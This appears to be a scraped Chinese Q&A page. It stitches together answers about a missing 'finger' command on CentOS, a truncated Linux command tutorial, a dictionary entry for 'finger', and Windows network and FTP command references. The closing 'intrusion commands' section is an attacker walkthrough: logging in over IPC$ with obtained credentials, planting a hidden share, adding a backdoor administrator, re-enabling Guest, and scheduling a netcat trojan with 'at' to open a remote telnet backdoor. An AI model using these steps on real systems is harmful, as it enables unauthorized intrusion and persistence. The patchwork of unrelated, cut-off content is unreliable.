A. 要在linux裡面查看用戶信息,於是輸入指令:finger myusername 返回錯誤-bash: finger: command not found
原因是你這個Linux發行版默認沒有finger這個命令,如果需要的話要自己另行安裝
B. CentOS 6.3 64下是不是沒有finger指令了
CentOS 6.3 64下是不是沒有finger指令了?
[root@localhost ~]# finger root
-bash: finger: command not found
[root@localhost ~]# man finger
No manual entry for finger
[root@localhost ~]# locate finger
/etc/pam.d/fingerprint-auth
/etc/pam.d/fingerprint-auth-ac
/etc/pam.d/gdm-fingerprint
/etc/selinux/targeted/moles/active/moles/finger.pp
/usr/lib64/gdm/simple-greeter/plugins/fingerprint.so
/usr/libexec/gpg2keys_finger
/usr/sbin/safe_finger
/usr/share/gdm/simple-greeter/extensions/fingerprint
/usr/share/gdm/simple-greeter/extensions/fingerprint/page.ui
/usr/share/gnome-control-center/pixmaps/left-index-finger.svg
/usr/share/gnome-control-center/pixmaps/left-little-finger.svg
/usr/share/gnome-control-center/pixmaps/left-middle-finger.svg
/usr/share/gnome-control-center/pixmaps/left-ring-finger.svg
/usr/share/gnome-control-center/pixmaps/right-index-finger.svg
/usr/share/gnome-control-center/pixmaps/right-little-finger.svg
/usr/share/gnome-control-center/pixmaps/right-middle-finger.svg
/usr/share/gnome-control-center/pixmaps/right-ring-finger.svg
/usr/share/gnome-control-center/ui/gnome-about-me-fingerprint.ui
/usr/share/hal/fdi/information/20thirdparty/10-fingerprint-reader-fprint.fdi
/usr/share/icons/hicolor/16x16/apps/gdm-fingerprint.png
/usr/share/icons/hicolor/48x48/apps/gdm-fingerprint.png
/usr/share/man/man5/fingerprint-auth-ac.5.gz
/usr/share/man/man8/fingerd_selinux.8.gz
/usr/share/man/man8/safe_finger.8.gz
/usr/share/selinux/devel/include/services/finger.if
/usr/share/selinux/targeted/finger.pp.bz2
/var/lib/yum/yumdb/g/-gdm-plugin-fingerprint-2.30.4-33.el6_2-x86_64
/var/lib/yum/yumdb/g/-gdm-plugin-fingerprint-2.30.4-33.el6_2-x86_64/checksum_data
/var/lib/yum/yumdb/g/-gdm-plugin-fingerprint-2.30.4-33.el6_2-x86_64/checksum_type
/var/lib/yum/yumdb/g/-gdm-plugin-fingerprint-2.30.4-33.el6_2-x86_64/from_repo
/var/lib/yum/yumdb/g/-gdm-plugin-fingerprint-2.30.4-33.el6_2-x86_64/from_repo_revision
/var/lib/yum/yumdb/g/-gdm-plugin-fingerprint-2.30.4-33.el6_2-x86_64/from_repo_timestamp
/var/lib/yum/yumdb/g/-gdm-plugin-fingerprint-2.30.4-33.el6_2-x86_64/installed_by
/var/lib/yum/yumdb/g/-gdm-plugin-fingerprint-2.30.4-33.el6_2-x86_64/reason
/var/lib/yum/yumdb/g/-gdm-plugin-fingerprint-2.30.4-33.el6_2-x86_64/releasever
[root@localhost ~]# finger root
-bash: finger: command not found
[root@localhost ~]# ^C
[root@localhost ~]# man finger
No manual entry for finger
[root@localhost ~]# ^C
[root@localhost ~]# locate finger
/etc/pam.d/fingerprint-auth
/etc/pam.d/fingerprint-auth-ac
/etc/pam.d/gdm-fingerprint
/etc/selinux/targeted/moles/active/moles/finger.pp
/usr/lib64/gdm/simple-greeter/plugins/fingerprint.so
/usr/libexec/gpg2keys_finger
/usr/sbin/safe_finger
/usr/share/gdm/simple-greeter/extensions/fingerprint
/usr/share/gdm/simple-greeter/extensions/fingerprint/page.ui
/usr/share/gnome-control-center/pixmaps/left-index-finger.svg
/usr/share/gnome-control-center/pixmaps/left-little-finger.svg
/usr/share/gnome-control-center/pixmaps/left-middle-finger.svg
/usr/share/gnome-control-center/pixmaps/left-ring-finger.svg
/usr/share/gnome-control-center/pixmaps/right-index-finger.svg
/usr/share/gnome-control-center/pixmaps/right-little-finger.svg
/usr/share/gnome-control-center/pixmaps/right-middle-finger.svg
/usr/share/gnome-control-center/pixmaps/right-ring-finger.svg
/usr/share/gnome-control-center/ui/gnome-about-me-fingerprint.ui
/usr/share/hal/fdi/information/20thirdparty/10-fingerprint-reader-fprint.fdi
/usr/share/icons/hicolor/16x16/apps/gdm-fingerprint.png
/usr/share/icons/hicolor/48x48/apps/gdm-fingerprint.png
/usr/share/man/man5/fingerprint-auth-ac.5.gz
/usr/share/man/man8/fingerd_selinux.8.gz
/usr/share/man/man8/safe_finger.8.gz
/usr/share/selinux/devel/include/services/finger.if
/usr/share/selinux/targeted/finger.pp.bz2
/var/lib/yum/yumdb/g/-gdm-plugin-fingerprint-2.30.4-33.el6_2-x86_64
/var/lib/yum/yumdb/g/-gdm-plugin-fingerprint-2.30.4-33.el6_2-x86_64/checksum_data
/var/lib/yum/yumdb/g/-gdm-plugin-fingerprint-2.30.4-33.el6_2-x86_64/checksum_type
/var/lib/yum/yumdb/g/-gdm-plugin-fingerprint-2.30.4-33.el6_2-x86_64/from_repo
/var/lib/yum/yumdb/g/-gdm-plugin-fingerprint-2.30.4-33.el6_2-x86_64/from_repo_revision
/var/lib/yum/yumdb/g/-gdm-plugin-fingerprint-2.30.4-33.el6_2-x86_64/from_repo_timestamp
/var/lib/yum/yumdb/g/-gdm-plugin-fingerprint-2.30.4-33.el6_2-x86_64/installed_by
/var/lib/yum/yumdb/g/-gdm-plugin-fingerprint-2.30.4-33.el6_2-x86_64/reason
/var/lib/yum/yumdb/g/-gdm-plugin-fingerprint-2.30.4-33.el6_2-x86_64/releasever
C. RHEL 6 無法使用finger命令
首先 yum search finger 查找finger命令相關的包
然後 yum install -y (查找到的包名稱)
這樣就能使用finger命令了
D. finger命令怎麼不能用了
輸命令的時系統無法調用到這個文件,當然就執行不了了,要麼從其他機器上靠一個過來,要麼重裝了
E. linux自行安裝軟體命令
Linux提供了大量的命令,利用它可以有效地完成大量的工作,如磁碟操作、文件存取、目
錄操作、進程管理、文件許可權設定等。所以,在Linux系統上工作離不開使用系統提供的命
令。要想真正理解Linux系統,就必須從Linux命令學起,通過基礎的命令學習可以進一步理
解Linux系統。
不同Linux發行版的命令數量不一樣,但Linux發行版本最少的命令也有200多個。這里筆者
把比較重要和使用頻率最多的命令,按照它們在系統中的作用分成下面六個部分一一介紹。
◆ 安裝和登錄命令:login、shutdown、halt、reboot、install、mount、umount、chsh、
exit、last;
◆ 文件處理命令:file、mkdir、grep、dd、find、mv、ls、diff、cat、ln;
◆ 系統管理相關命令:df、top、free、quota、at、lp、adser、groupadd、kill、
crontab;
◆ 網路操作命令:ifconfig、ip、ping、netstat、telnet、ftp、route、rlogin、rcp、
finger、mail、 nslookup;
◆ 系統安全相關命令:passwd、su、umask、chgrp、chmod、chown、chattr、sudo ps、
who;
◆ 其它命令:tar、unzip、gunzip、unarj、mtools、man、unendcode、uudecode。
本文以Mandrake Linux 9.1(Kenrel 2.4.21)為例,介紹Linux下的安裝和登錄命令。
login
1.作用
login的作用是登錄系統,它的使用許可權是所有用戶。
2.格式
login [name][-p ][-h 主機名稱]
3.主要參數
-p:通知login保持現在的環境參數。
-h:用來向遠程登錄的之間傳輸用戶名。
如果選擇用命令行模式登錄Linux的話,那麼看到的第一個Linux命令就是login:。
一般界面是這樣的:
Manddrake Linux release 9.1(Bamboo) for i586
kennel 2.4.21-0.13mdk on i686 / tty1
localhost login:root
password:
上面代碼中,第一行是Linux發行版本號,第二行是內核版本號和登錄的虛擬控制台,我們
在第三行輸入登錄名,按「Enter」鍵在Password後輸入賬戶密碼,即可登錄系統。出於安
全考慮,輸入賬戶密碼時字元不會在屏幕上回顯,游標也不移動。
登錄後會看到下面這個界面(以超級用戶為例):
[root@localhost root]#
last login:Tue ,Nov 18 10:00:55 on vc/1
上面顯示的是登錄星期、月、日、時間和使用的虛擬控制台。
4.應用技巧
Linux是一個真正的多用戶操作系統,可以同時接受多個用戶登錄,還允許一個用戶進行多
次登錄。這是因為Linux和許多版本的Unix一樣,提供了虛擬控制台的訪問方式,允許用戶
在同一時間從控制台(系統的控制台是與系統直接相連的監視器和鍵盤)進行多次登錄。每
個虛擬控制台可以看作是一個獨立的工作站,工作台之間可以切換。虛擬控制台的切換可以
通過按下Alt鍵和一個功能鍵來實現,通常使用F1-F6 。
例如,用戶登錄後,按一下「Alt F2」鍵,用戶就可以看到上面出現的「login:」提示符,
說明用戶看到了第二個虛擬控制台。然後只需按「Alt F1」鍵,就可以回到第一個虛擬控
制台。一個新安裝的Linux系統允許用戶使用「Alt F1」到「Alt F6」鍵來訪問前六個虛擬
控制台。虛擬控制台最有用的是,當一個程序出錯造成系統死鎖時,可以切換到其它虛擬控
制台工作,關閉這個程序。
shutdown
1.作用
shutdown命令的作用是關閉計算機,它的使用許可權是超級用戶。
2.格式
shutdown [-h][-i][-k][-m][-t]
3.重要參數
-t:在改變到其它運行級別之前,告訴init程序多久以後關機。
-k:並不真正關機,只是送警告信號給每位登錄者。
-h:關機後關閉電源。
-c:cancel current process取消目前正在執行的關機程序。所以這個選項當然沒有時間
參數,但是可以輸入一個用來解釋的訊息,而這信息將會送到每位使用者。
-F:在重啟計算機時強迫fsck。
-time:設定關機前的時間。
-m: 將系統改為單用戶模式。
-i:關機時顯示系統信息。
4.命令說明
shutdown命令可以安全地將系統關機。有些用戶會使用直接斷掉電源的方式來關閉Linux系
統,這是十分危險的。因為Linux與Windows不同,其後台運行著許多進程,所以強制關機可
能會導致進程的數據丟失,使系統處於不穩定的狀態,甚至在有的系統中會損壞硬體設備(
硬碟)。在系統關機前使用 shutdown命令,系統管理員會通知所有登錄的用戶系統將要關
閉,並且login指令會被凍結,即新的用戶不能再登錄。
5.舉例
shutdown -h 3:40
說明 3:40開始關機。
halt
1.作用
halt命令的作用是關閉系統,它的使用許可權是超級用戶。
2.格式
halt [-n] [-w] [-d] [-f] [-i] [-p]
3.主要參數說明
-n:防止sync系統調用,它用在用fsck修補根分區之後,以阻止內核用老版本的超級塊覆
蓋修補過的超級塊。
-w:並不是真正的重啟或關機,只是寫wtmp(/var/log/wtmp)紀錄。
-f:沒有調用shutdown,而強制關機或重啟。
-i:關機(或重啟)前,關掉所有的網路介面。
-f:強迫關機,不呼叫shutdown這個指令。
-p: 當關機的時候順便做關閉電源的動作。
-d:關閉系統,但不留下紀錄。
4.命令說明
halt就是調用shutdown -h。halt執行時,殺死應用進程,執行sync(將存於buffer中的資
料強制寫入硬碟中)系統調用,文件系統寫操作完成後就會停止內核。若系統的運行級別為
0或6,則關閉系統;否則以shutdown指令(加上-h參數)來取代。
reboot
1.作用
reboot命令的作用是重新啟動計算機,它的使用許可權是系統管理者。
2.格式
reboot [-n] [-w] [-d] [-f] [-i]
3.主要參數
-n: 在重開機前不做將記憶體資料寫回硬碟的動作。
-w: 並不會真的重開機,只是把記錄寫到/var/log/wtmp文件里。
-d: 不把記錄寫到/var/log/wtmp文件里(-n這個參數包含了-d)。
-i: 在重開機之前先把所有與網路相關的裝置停止。
install
1.作用
install命令的作用是安裝或升級軟體或備份數據,它的使用許可權是所有用戶。
2.格式
(1)install [選項]... 來源 目的地
(2)install [選項]... 來源... 目錄
(3)install -d [選項]... 目錄...
在前兩種格式中,會將
F. finger是什麼意思
finger
n. 手指;指針,指狀物
vt. 伸出;用手指撥弄
vi. 用指觸摸;撥弄
n. (Finger)人名;(英、德、捷)芬格;(俄)芬格爾
短語
ring finger[解剖]無名指 ; 環指 ; 知名指 ; 四拇指
finger joint指形榫 ;[木]指接 ;[木]指形接合 ;[解剖]指關節
third finger[解剖]無名指 ; 知名指 ; 中指 ; 第三鋅指
Mallet Finger錘狀指 ; 槌狀指 ; 植入物
God Finger神之手指 ; 神的手指 ; 上帝之手 ; 手指頭
finger pin指形梢 ; 探針塞尺 ; 探鉤 ; 探針
(6)finger命令找不到擴展閱讀:
同根詞
詞根:finger
adj.
fingered指狀的;有指的
fingerless無指的;失去指的
n.
fingernail手指甲
fingering指法;用指摸弄;手指彈奏;指法符號;細絨線
v.
fingering用手指撥弄(finger的ing形式)
fingered用手指觸摸;指出;譴責;用指彈奏(finger的過去分詞)
例句:
Sofinger-pointing at the start of each list, 6 is indeed less than 8 so I'm gonna write it down first.
手指指向列表的開始,6肯定比,8小,我先把它寫下來。
G. 什麼是命令
1.最基本,最常用的,測試物理網路的
ping 192.168.10.88 -t ,參數-t是等待用戶去中斷測試
2.查看DNS、IP、Mac等
A.Win98:winipcfg
B.Win2000以上:Ipconfig/all
C.NSLOOKUP:如查看河北的DNS
C:\>nslookup
Default Server: ns.hesjptt.net.cn
Address: 202.99.160.68
>server 202.99.41.2 則將DNS改為了41.2
> pop.pcpop.com
Server: ns.hesjptt.net.cn
Address: 202.99.160.68
Non-authoritative answer:
Name: pop.pcpop.com
Address: 202.99.160.212
3.網路信使
Net send 計算機名/IP|* (廣播) 傳送內容,注意不能跨網段
net stop messenger 停止信使服務,也可以在面板-服務修改
net start messenger 開始信使服務
4.探測對方對方計算機名,所在的組、域及當前用戶名
ping -a IP -t ,只顯示NetBios名
nbtstat -a 192.168.10.146 比較全的
5.netstat -a 顯示出你的計算機當前所開放的所有埠
netstat -s -e 比較詳細的顯示你的網路資料,包括TCP、UDP、ICMP 和 IP的統計等
6.探測arp綁定(動態和靜態)列表,顯示所有連接了我的計算機,顯示對方IP和MAC地址
arp -a
7.在代理伺服器端捆綁IP和MAC地址,解決區域網內盜用IP:
ARP -s 192.168.10.59 00-50-ff-6c-08-75
解除網卡的IP與MAC地址的綁定:
arp -d 網卡IP
8.在網路鄰居上隱藏你的計算機
net config server /hidden:yes
net config server /hidden:no 則為開啟
9.幾個net命令
A.顯示當前工作組伺服器列表 net view,當不帶選項使用本命令時,它就會顯示當前域或網路上的計算機上的列表。
比如:查看這個IP上的共享資源,就可以
C:\>net view 192.168.10.8
在 192.168.10.8 的共享資源
資源共享名 類型 用途 注釋 網站服務 Disk 命令成功完成。
B.查看計算機上的用戶帳號列表 net user
C.查看網路鏈接 net use
例如:net use z: \\192.168.10.8\movie 將這個IP的movie共享目錄映射為本地的Z盤
D.記錄鏈接 net session
例如: C:\>net session
計算機 用戶名 客戶類型 打開空閑時間
\\192.168.10.110 ROME Windows 2000 2195000:03:12
\\192.168.10.51 ROME Windows 2000 2195 0 00:00:39
命令成功完成。
10.路由跟蹤命令
A.tracert pop.pcpop.com
B.pathping pop.pcpop.com 除了顯示路由外,還提供325S的分析,計算丟失包的% 11.關於共享安全的幾個命令
A.查看你機器的共享資源 net share
B.手工刪除共享
net share c$ /d
net share d$ /d
net share ipc$ /d
net share admin$ /d 注意$後有空格。
C.增加一個共享:
c:\net share mymovie=e:\downloads\movie /users:1 mymovie 共享成功。同時限制鏈接用戶數為1人。
12.在DOS行下設置靜態IP
A.設置靜態IP
CMD
netsh
netsh>int
interface>ip
interface ip>set add "本地鏈接" static IP地址 mask gateway
B.查看IP設置
interface ip>show address
測試mtu
ping -f -l size 伺服器ip
教你使用netstat命令
netstat命令的功能是顯示網路連接、路由表和網路介面信息,可以讓用戶得知目前都有哪些網路連接正在運作。
該命令的一般格式為:
netstat [選項]
命令中各選項的含義如下:
-a 顯示所有socket,包括正在監聽的。
-c 每隔1秒就重新顯示一遍,直到用戶中斷它。
-i 顯示所有網路介面的信息,格式同「ipconfig -e」。
-n 以網路IP地址代替名稱,顯示出網路連接情形。
-r 顯示核心路由表,格式同「route -e」。
-t 顯示TCP協議的連接情況。
-u 顯示UDP協議的連接情況。
-v 顯示正在進行的工作。
[例]在本地機上使用netstat命令。
$ netstat
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
Active UNIX domain sockets (w/o servers)
Proto RefCnt Flags Type State I-Node Path
unix 1 [ ] STREAM CONNECTED 270 @00000008
unix 1 [ ] STREAM CONNECTED 150 @00000002
unix 1 [ ] STREAM CONNECTED 104 @00000001
unix 1 [ ] STREAM CONNECTED 222 @00000004
unix 1 [ ] STREAM CONNECTED 171 @00000003
unix 1 [ ] STREAM CONNECTED 271 /dev/log
unix 1 [ ] STREAM CONNECTED 225 /dev/log
unix 1 [ ] STREAM CONNECTED 223 /dev/log
unix 1 [ ] STREAM CONNECTED 203 /dev/log
unix 1 [ ] STREAM CONNECTED 105 /dev/log
……
nslookup命令
nslookup命令的功能是查詢一台機器的IP地址和其對應的域名。它通常需要一台域名伺服器來提供域名服務。如果用戶已經設置好域名伺服器,就可以用這個命令查看不同主機的IP地址對應的域名。
該命令的一般格式為:
nslookup [IP地址/域名]
[例]在本地機上使用nslookup命令。
$ nslookup
Default Server: name.tlc.com.cn
Address: 192.168.1.99
>
在符號「>」後面輸入要查詢的IP地址或域名並回車即可。如果要退出該命令,輸入exit並回車即可。
finger命令
finger命令的功能是查詢用戶的信息,通常會顯示系統中某個用戶的用戶名、主目錄、停滯時間、登錄時間、登錄shell等信息。如果要查詢遠程機上的用戶信息,需要在用戶名後面接「@主機名」,採用[用戶名@主機名]的格式,不過要查詢的網路主機需要運行finger守護進程。
該命令的一般格式為:
finger [選項] [使用者] [用戶@主機]
命令中各選項的含義如下:
-s 顯示用戶的注冊名、實際姓名、終端名稱、寫狀態、停滯時間、登錄時間等信息。 -l 除了用-s選項顯示的信息外,還顯示用戶主目錄、登錄shell、郵件狀態等信息,以及用戶主目錄下的.plan、.project和.forward文件的內容。
-p 除了不顯示.plan文件和.project文件以外,與-l選項相同。
[例]在本地機上使用finger命令。
$ finger xxq
Login: xxq Name:
Directory: /home/xxq Shell: /bin/bash
Last login Thu Jan 1 21:43 (CST) on tty1
No mail.
No Plan.
$ finger
Login Name Tty Idle Login Time Office Office Phone
root root *1 28 Nov 25 09:17
……
ping命令
ping命令用於查看網路上的主機是否在工作,它向該主機發送ICMP ECHO_REQUEST包。有時我們想從網路上的某台主機上下載文件,可是又不知道那台主機是否開著,就需要使用ping命令查看。
該命令的一般格式為:
ping [選項] 主機名/IP地址
命令中各選項的含義如下:
-c 數目 在發送指定數目的包後停止。
-d 設定SO_DEBUG的選項。
-f 大量且快速地送網路封包給一台機器,看它的回應。
-I 秒數 設定間隔幾秒送一個網路封包給一台機器,預設值是一秒送一次。
-l 次數 在指定次數內,以最快的方式送封包數據到指定機器(只有超級用戶可以使用此選項)。
-q 不顯示任何傳送封包的信息,只顯示最後的結果。
-r 不經由網關而直接送封包到一台機器,通常是查看本機的網路介面是否有問題。
-s 位元組數 指定發送的數據位元組數,預設值是56,加上8位元組的ICMP頭,一共是64ICMP數據位元組。
TurboLinux系統提供了大量命令和許多實用工具軟體,本書由於篇幅的關系,主要介紹了TurboLinux的一些常用命令和實用軟體。讀者可以使用系統提供的聯機幫助手冊獲取更多的信息。
TurboLinux系統的聯機手冊中有大量的可用信息,根據其內容分成若干節。在Linux聯機幫助手冊上,幾乎每個命令都有說明。因此,當用戶對於Linux上的一個命令不會用或是不太了解時,就請使用聯機幫助命令。
本章主要介紹幾個常用的聯機幫助命令。包括:
man 查詢每個命令的使用方法
help 查詢Shell命令
whereis 查詢某個命令的位置
locate 查詢某個文件的位置
man命令
這個命令應該是每個Linux系統上都有的。它格式化並顯示在線的手冊頁。通常使用者只要在命令man後,輸入想要獲取的命令的名稱(例如 ls),man就會列出一份完整的說明,其內容包括命令語法、各選項的意義以及相關命令等。
該命令的一般形式為:
man [選項] 命令名稱
命令中各選項的含義分別為:
-M 路徑 指定搜索man手冊頁的路徑,通常這個路徑由環境變數MANPATH預設,如果在命令行上指定另外的路徑,則覆蓋MANPATH的設定。
-P 命令 指定所使用的分頁程序,預設使用/usr/bin/less–is,在環境變數MANPAGER中預設。
-S 章節 由於一個命令名稱可能會有很多類別,至於類別,列出如下:
章節 說明
1 一般使用者的命令
2 系統調用的命令
3 C語言函數庫的命令
4 有關驅動程序和系統設備的解釋
5 配置文件的解釋
6 游戲程序的命令
7 其他的軟體或是程序的命令
有關系統維護的命令
-a 顯示所有的手冊頁,而不是只顯示第一個。
-d 這個選項主要在檢查時使用,如果用戶加入了一個新的文件,就可以用這個選項檢查是否出錯,這個選項並不會列出文件內容。
-f 只顯示出命令的功能而不顯示其中詳細的說明文件。
-p string 設定運行的預先處理程序的順序,共有下列幾項:
e eqn t tbl
g grap r refer
p pic v vgrind
-w 不顯示手冊頁,只顯示將被格式化和顯示的文件所在位置。
例如:查看cd命令的使用方法。
$ man cd
cd(n) Tcl Built-In Commands cd(n)
NAME
cd - Change working directory
SYNOPSIS
cd ?dirName?
DEs criptION
Change the current working directory to dirName, or to the
home directory (as specified in the HOME environment vari-
able) if dirName is not given. Returns an empty string.
KEYWORDS
working directory
Tcl 1
(END)
可以按q鍵退出man命令。
help命令
help命令用於查看所有Shell命令。用戶可以通過該命令尋求Shell命令的用法,只需在所查找的命令後輸入help命令,就可以看到所查命令的內容了。
例如:查看od命令的使用方法。
$ od –help
whereis命令
這個程序的主要功能是尋找一個命令所在的位置。例如,我們最常用的ls命令,它是在/bin這個目錄下的。如果希望知道某個命令存在哪一個目錄下,可以用whereis命令來查詢。
該命令的一般形式為:
whereis [選項] 命令名
說明:一般直接使用不加選項的whereis命令,但用戶也可根據特殊需要選用它的一些選項。
該命令中各選項的含義分別為:
b 只查找二進制文件
m 查找主要文件
s 查找來源
u 查找不常用的記錄文件
例如:查找ls命令在什麼目錄下。
$ whereis ls
ls:/bin/ls/usr/man/man1/ls.1
FTP命令是Internet用戶使用最頻繁的命令之一,不論是在DOS還是UNIX操作系統下使用FTP,都會遇到大量的FTP內部命令。熟悉並靈活應用FTP的內部命令,可以大大方便使用者,並收到事半功倍之效。
FTP的命令行格式為: ftp -v -d -i -n -g [主機名] ,其中
-v 顯示遠程伺服器的所有響應信息;
-i 限制ftp的自動登錄,即不使用;
-n etrc文件;
-d 使用調試方式;
-g 取消全局文件名。
ftp使用的內部命令如下(中括弧表示可選項):
1. ![cmd[args]]:在本地機中執行交互shell,exit回到ftp環境,如:!ls*.zip。
2. $ macro-ame[args]:執行宏定義macro-name。
3. account[password]:提供登錄遠程系統成功後訪問系統資源所需的補充口令。
4. append local-file[remote-file]:將本地文件追加到遠程系統主機,若未指定遠程系統文件名,則使用本地文件名。
5. ascii:使用ascii類型傳輸方式。
6. bell:每個命令執行完畢後計算機響鈴一次。
7. bin:使用二進制文件傳輸方式。
8. bye:退出ftp會話過程。
9. case:在使用mget時,將遠程主機文件名中的大寫轉為小寫字母。
10. cd remote-dir:進入遠程主機目錄。
11. cp:進入遠程主機目錄的父目錄。
12. chmod mode file-name:將遠程主機文件file-name的存取方式設置為mode,如: chmod 777 a.out 。
13. close:中斷與遠程伺服器的ftp會話(與open對應)。
14. cr:使用asscii方式傳輸文件時,將回車換行轉換為回行。
15. delete remote-file:刪除遠程主機文件。
16. debug[debug-value]:設置調試方式, 顯示發送至遠程主機的每條命令,如: deb up 3,若設為0,表示取消debug。
17. dir[remote-dir][local-file]:顯示遠程主機目錄,並將結果存入本地文件local-file。
18. disconnection:同close。
19. form format:將文件傳輸方式設置為format,預設為file方式。
20. get remote-file[local-file]: 將遠程主機的文件remote-file傳至本地硬碟的local-file。
21. glob:設置mdelete,mget,mput的文件名擴展,預設時不擴展文件名,同命令行的-g參數。
22. hash:每傳輸1024位元組,顯示一個hash符號(#)。
23. help[cmd]:顯示ftp內部命令cmd的幫助信息,如:help get。
24. idle[seconds]:將遠程伺服器的休眠計時器設為[seconds]秒。
25. image:設置二進制傳輸方式(同binary)。
26. lcd[dir]:將本地工作目錄切換至dir。
27. ls[remote-dir][local-file]:顯示遠程目錄remote-dir, 並存入本地文件local-file。
28. macdef macro-name:定義一個宏,遇到macdef下的空行時,宏定義結束。
29. mdelete[remote-file]:刪除遠程主機文件。
30. mdir remote-files local-file:與dir類似,但可指定多個遠程文件,如: mdir *.o.*.zipoutfile 。
31. mget remote-files:傳輸多個遠程文件。
32. mkdir dir-name:在遠程主機中建一目錄。
33. mls remote-file local-file:同nlist,但可指定多個文件名。
34. mode[modename]:將文件傳輸方式設置為modename, 預設為stream方式。
35. modtime file-name:顯示遠程主機文件的最後修改時間。
36. mput local-file:將多個文件傳輸至遠程主機。
37. newer file-name: 如果遠程機中file-name的修改時間比本地硬碟同名文件的時間更近,則重傳該文件。
38. nlist[remote-dir][local-file]:顯示遠程主機目錄的文件清單,並存入本地硬碟的local-file。
39. nmap[inpattern outpattern]:設置文件名映射機制, 使得文件傳輸時,文件中的某些字元相互轉換,如:nmap $1.$2.$3[$1,$2].[$2,$3],則傳輸文件a1.a2.a3時,文件名變為a1,a2。該命令特別適用於遠程主機為非UNIX機的情況。
40. ntrans[inchars[outchars]]:設置文件名字元的翻譯機制,如ntrans1R,則文件名LLL將變為RRR。
41. open host[port]:建立指定ftp伺服器連接,可指定連接埠。
42. passive:進入被動傳輸方式。
43. prompt:設置多個文件傳輸時的交互提示。
44. proxy ftp-cmd:在次要控制連接中,執行一條ftp命令,該命令允許連接兩個ftp伺服器,以在兩個伺服器間傳輸文件。第一條ftp命令必須為open,以首先建立兩個伺服器間的連接。
45. put local-file[remote-file]:將本地文件local-file傳送至遠程主機。
46. pwd:顯示遠程主機的當前工作目錄。
47. quit:同bye,退出ftp會話。
48. quote arg1,arg2...:將參數逐字發至遠程ftp伺服器,如:quote syst。
49. recv remote-file[local-file]:同get。
50. reget remote-file[local-file]:類似於get,但若local-file存在,則從上次傳輸中斷處續傳。
51. rhelp[cmd-name]:請求獲得遠程主機的幫助。
52. rstatus[file-name]:若未指定文件名,則顯示遠程主機的狀態,否則顯示文件狀態。
53. rename[from][to]:更改遠程主機文件名。
54. reset:清除回答隊列。
55. restart marker:從指定的標志marker處,重新開始get或put,如:restart 130。
56. rmdir dir-name:刪除遠程主機目錄。
57. runique:設置文件名唯一性存儲。
58. send local-file[remote-file]:同put。
59. sendport:設置PORT命令的使用。
60. site arg1,arg2...:將參數作為SITE命令逐字發送至遠程ftp主機。
61. size file-name:顯示遠程主機文件大小,如:site idle 7200。
62. status:顯示當前ftp狀態。
63. struct[struct-name]:將文件傳輸結構設置為struct-name,預設時使用stream結構。
64. sunique:將遠程主機文件名存儲設置為唯一(與runique對應)。
65. system:顯示遠程主機的操作系統類型。
66. tenex:將文件傳輸類型設置為TENEX機的所需的類型。
67. tick:設置傳輸時的位元組計數器。
68. trace:設置包跟蹤。
69. type[type-name]:設置文件傳輸類型為type-name,預設為ascii,如:type binary,設置二進制傳輸方式。
70. umask[newmask]:將遠程伺服器的預設umask設置為newmask,如:umask 3。
71. user user-name[password][account]:向遠程主機表明自己的身份,需要口令時,必須輸入口令,如:user anonymous my@email。
72. verbose:同命令行的-v參數,即設置詳盡報告方式,ftp伺服器的所有響應都將顯示給用戶,預設為on。
73. ?[cmd]:同help。
入侵命令詳解
--------------------------------------------------------------------------------
1:NET
只要你擁有某IP的用戶名和密碼,那就用IPC$做連接吧!
這里我們假如你得到的用戶是hbx,密碼是123456。假設對方IP為127.0.0.1
net use \\127.0.0.1\ipc$ 123456 /user:hbx null密碼為空
退出的命令是
net use \\127.0.0.1\ipc$ /delete
--------------------------------
net share是查看主機共享資源我們用它建一個秘密共享目錄吧net share me=c:\winnt\system32 這樣這個機器就有了一個名為me的共享目錄,而打開它就是winnt下的system32目錄,如果你用win2000的系統就知這個目錄有多重要了,如果不想要也好辦net share me /delete 呵呵,沒有了,是不是很方便的啊。
---------------------- ---------------------- ----------------------
下面的操作你必須登陸後才可以用.登陸的方法就在上面.
---------------------- ---------------------- ----------------------
下面我們講怎麼創建一個用戶,由於SA的許可權相當於系統的超級用戶.
我們加一個hei的用戶密碼為lovechina
net user hei lovechina /add
只要顯示命令成功,那麼我們可以把他加入Administrator組了.
net localgroup Administrators hei /add
----------------------
這里是講映射對方的C盤,當然其他盤也可以,只要存在就行了.我們這里把對方的C盤映射到本地的Z盤.
net use z:\\127.0.0.1\c$
----------------------
net start telnet
這樣可以打開對方的TELNET服務.
----------------------
這里是將Guest用戶激活,guest是NT的默認用戶,而且無法刪除呢?不知道是否這樣,我的2000就是刪除不了它。
net user guest /active:yes
----------------------
net user guest /active:no這樣這個guest的用戶就又被禁用了
----------------------
這里是把一個用戶的密碼改掉,我們把guest的密碼改為lovechina,其他用戶也可以的。只要有許可權就行了呀!
net user guest lovechina
有人問到提高許可權的問題 下面就解決下
net localgroup administrators guest /add
將guest變為administrator
net命令果然強大啊! net view命令看對方開了共享
-------------------------------------------------------------------------------------------------------------
net user是查看所有用戶列表,看看哪個用戶是和你一樣偷跑進來的,給他名給刪掉,讓他美,
net user 用戶名 /delete哈哈,他沒有了,管他什麼是不是管理員呢,不過我們還是查一下管理員組有什麼用戶吧,這樣的用戶才對我們有用嘛 net localgroup administrators就列出管理員組成員了,再查看一下administrator這個用戶,因為這個是創建系統時建出來的,所以要看看他的系統是什麼時間創建出來的
net user administrator,然後再查看別的管理員用戶是什麼時間創建的,如果相差太遠,那可能是被別人偷偷跑來偷建的,一律del,安全第一哦................
---------------------------------------------------------------------------------------------------------------------------
2:at
一般一個入侵者入侵後都會留下後門,也就是種木馬了,你把木馬傳了上去,怎麼啟動他呢?
那麼需要用AT命令,這里假設你已經登陸了那個伺服器。
----------------------
你首先要得到對方的時間,
net time \\127.0.0.1
----------------------
將會返回一個時間,這里假設時間為12:1,現在需要新建一個作業,其ID=1
at \\127.0.0.1 12:3 nc.exe
這里假設了一個木馬,名為NC.EXE,這個東西要在對方伺服器上.
這里介紹一下NC,NC是NETCAT的簡稱,為了方便輸入,一般會被改名.它是一個TELNET服務,埠為99.
等到了12:3就可以連接到對方的99埠.這樣就給對方種下了木馬.
-----------------------------------------------------
at命令功能強大,下面可以打個比方:
C:\> AT 22:30 Start C:\prettyboy.mp3
新加了一項作業,其作業 ID = 1 [現在我們新建立了一個任務 在22:30分 系統將自動播放歌曲]
---------------------------------------------------------------------------------------------------------------------------
3:telnet
這個命令非常實用,它可以與遠方做連接,不過正常下需要密碼、用戶,不過你給對方種了木馬,直接連到這個木馬打開的埠.
telnet 127.0.0.1 99
